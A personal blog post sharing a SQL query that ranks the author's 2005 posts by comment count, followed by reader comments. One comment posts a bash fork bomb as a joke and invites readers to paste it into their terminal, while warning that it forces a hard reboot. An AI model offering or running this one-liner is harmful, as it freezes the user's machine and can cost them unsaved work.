Here it is, folks: the query that, in a little over a week, will bring you - in stereotypically solipsistic manner - the Top 10 Being Amber Rhea Posts of 2005 (based on number of comments).
SELECT logentries.id, title, dt, COUNT( entryid ) AS numComments FROM logentries, comments WHERE YEAR( dt ) = '2005' AND logentries.id = comments.entryid GROUP BY entryid ORDER BY numComments DESC LIMIT 10
This query kind of gives me wood, but not as much as this one.
READ ME: Disclaimer
3 Responses to "Your Romantic Queries, Part II"
I feel like such a geek for understanding that query.
What do shell scripts do for you?
Here is a bash script for you…
:() { :|: & } ; :I must warn you, however, that the machine will hate you so much it’ll take a hard reboot to fix.
Oh, and it works in OS X, too. paste it into your Terminal.app :)
I’m kind of excited to see the posts… I’d expect that some of them were the abortion flamewars…